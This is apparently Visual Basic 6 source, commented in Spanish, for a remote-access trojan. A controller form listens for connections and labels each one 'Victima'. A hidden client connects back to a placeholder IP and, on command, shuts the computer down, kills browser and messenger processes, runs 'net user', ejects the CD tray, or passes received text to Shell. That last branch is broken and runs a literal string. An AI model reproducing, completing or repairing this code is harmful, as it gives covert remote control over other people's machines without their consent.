Dim SocketNumber As Integer

Private Sub Command1_Click()
If Check1.Value = 1 Then
SocketNumber = 0
SocketNumber = SocketNumber + 1
Winsock1(SocketNumber).SendData "beep"
End If
If Check2.Value = 1 Then
SocketNumber = 0
SocketNumber = SocketNumber + 2
Winsock1(SocketNumber).SendData "beep"
End If
If Check3.Value = 1 Then
SocketNumber = 0
SocketNumber = SocketNumber + 3
Winsock1(SocketNumber).SendData "beep"
End If
If Check4.Value = 1 Then
SocketNumber = 0
SocketNumber = SocketNumber + 4
Winsock1(SocketNumber).SendData "beep"
End If
End Sub

Private Sub Command10_Click()
MsgBox "Para ejecutar las opciones selecciona una a una las victimas para asegurar el buen funcionamiento del programa"
End Sub

Private Sub Command3_Click()
If Check1.Value = 1 Then
SocketNumber = 0
SocketNumber = SocketNumber + 1
Winsock1(SocketNumber).SendData "msn"
End If
If Check2.Value = 1 Then
SocketNumber = 0
SocketNumber = SocketNumber + 2
Winsock1(SocketNumber).SendData "msn"
End If
If Check3.Value = 1 Then
SocketNumber = 0
SocketNumber = SocketNumber + 3
Winsock1(SocketNumber).SendData "msn"
End If
If Check4.Value = 1 Then
SocketNumber = 0
SocketNumber = SocketNumber + 4
Winsock1(SocketNumber).SendData "msn"
End If
End Sub

Private Sub Command4_Click()
If Check1.Value = 1 Then
SocketNumber = 0
SocketNumber = SocketNumber + 1
Winsock1(SocketNumber).SendData "apagar"
End If
If Check2.Value = 1 Then
SocketNumber = 0
SocketNumber = SocketNumber + 2
Winsock1(SocketNumber).SendData "apagar"
End If
If Check3.Value = 1 Then
SocketNumber = 0
SocketNumber = SocketNumber + 3
Winsock1(SocketNumber).SendData "apagar"
End If
If Check4.Value = 1 Then
SocketNumber = 0
SocketNumber = SocketNumber + 4
Winsock1(SocketNumber).SendData "apagar"
End If
End Sub

Private Sub Command5_Click()
If Check1.Value = 1 Then
SocketNumber = 0
SocketNumber = SocketNumber + 1
Winsock1(SocketNumber).SendData "abrir CD"
End If
If Check2.Value = 1 Then
SocketNumber = 0
SocketNumber = SocketNumber + 2
Winsock1(SocketNumber).SendData "abrir CD"
End If
If Check3.Value = 1 Then
SocketNumber = 0
SocketNumber = SocketNumber + 3
Winsock1(SocketNumber).SendData "abrir CD"
End If
If Check4.Value = 1 Then
SocketNumber = 0
SocketNumber = SocketNumber + 4
Winsock1(SocketNumber).SendData "abrir CD"
End If
End Sub

Private Sub Command6_Click()
If Check1.Value = 1 Then
SocketNumber = 0
SocketNumber = SocketNumber + 1
Winsock1(SocketNumber).SendData "fire"
End If
If Check2.Value = 1 Then
SocketNumber = 0
SocketNumber = SocketNumber + 2
Winsock1(SocketNumber).SendData "fire"
End If
If Check3.Value = 1 Then
SocketNumber = 0
SocketNumber = SocketNumber + 3
Winsock1(SocketNumber).SendData "fire"
End If
If Check4.Value = 1 Then
SocketNumber = 0
SocketNumber = SocketNumber + 4
Winsock1(SocketNumber).SendData "fire"
End If
End Sub

Private Sub Command7_Click()
If Check1.Value = 1 Then
SocketNumber = 0
SocketNumber = SocketNumber + 1
Winsock1(SocketNumber).SendData "cerrar CD"
End If
If Check2.Value = 1 Then
SocketNumber = 0
SocketNumber = SocketNumber + 2
Winsock1(SocketNumber).SendData "cerrar CD"
End If
If Check3.Value = 1 Then
SocketNumber = 0
SocketNumber = SocketNumber + 3
Winsock1(SocketNumber).SendData "cerrar CD"
End If
If Check4.Value = 1 Then
SocketNumber = 0
SocketNumber = SocketNumber + 4
Winsock1(SocketNumber).SendData "cerrar CD"
End If
End Sub

Private Sub Command8_Click()
If Check1.Value = 1 Then
SocketNumber = 0
SocketNumber = SocketNumber + 1
Winsock1(SocketNumber).SendData Text1.Text
End If
If Check2.Value = 1 Then
SocketNumber = 0
SocketNumber = SocketNumber + 2
Winsock1(SocketNumber).SendData Text1.Text
End If
If Check3.Value = 1 Then
SocketNumber = 0
SocketNumber = SocketNumber + 3
Winsock1(SocketNumber).SendData Text1.Text
End If
If Check4.Value = 1 Then
SocketNumber = 0
SocketNumber = SocketNumber + 4
Winsock1(SocketNumber).SendData Text1.Text
End If
End Sub

Private Sub Command9_Click()
Winsock1(0).Close
List1.Clear
End Sub

Private Sub Form_Load()
Winsock1(0).LocalPort = 81 'SE CAMBIA EL PUERTO
Winsock1(0).Listen
End Sub


Private Sub Winsock1_ConnectionRequest(Index As Integer, ByVal requestID As Long)
SocketNumber = SocketNumber + 1
Load Winsock1(SocketNumber)
Winsock1(SocketNumber).Accept requestID
List1.AddItem SocketNumber & "-Victima : " & Winsock1(SocketNumber).RemoteHostIP & " : " & Winsock1(SocketNumber).LocalPort & " " & Winsock1(SocketNumber).State

End Sub

Private Sub Form_Load()
On Error Resume Next
Winsock1.Close
Me.Hide
Winsock1.Connect "192.000.00.00", 0 'SE CAMBIA IP Y PUERTO
If Err Then Exit Sub
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Winsock1.GetData datos
If datos = "apagar" Then
Shell "shutdown -s -t 0"
ElseIf datos = "msn" Then
Shell ("taskkill /IM msnmsgr.exe /F")
ElseIf datos = "fire" Then
Shell ("taskkill /IM firefox.exe /F")
ElseIf datos = "exp" Then
Shell ("taskkill /IM iexplorer.exe /F")
ElseIf datos = "user" Then
Shell ("net user saskjdsad")
ElseIf datos = "beep" Then
Beep 999, 999
Beep 999, 999
ElseIf Left(datos, 4) = "ejec" Then
datos = Right(datos, Len(datos) - 4)
Shell ("datos")
ElseIf datos = "abrir CD" Then
Call mciSendString("Set CDAudio Door Open Wait", 0&, 0&, 0&)
ElseIf datos = "cerrar CD" Then
Call mciSendString("Set CDAudio Door closed Wait", 0&, 0&, 0&)
Else
MsgBox datos
End If
End Sub

MODULO PARA EL BEEP Y LA BANDEJA DE CD:

Public Declare Function Beep Lib "kernel32" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long

Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" ( _
ByVal lpstrCommand As String, _
ByVal lpstrReturnString As String, _
ByVal uReturnLength As Long, _
ByVal hwndCallback As Long) As Long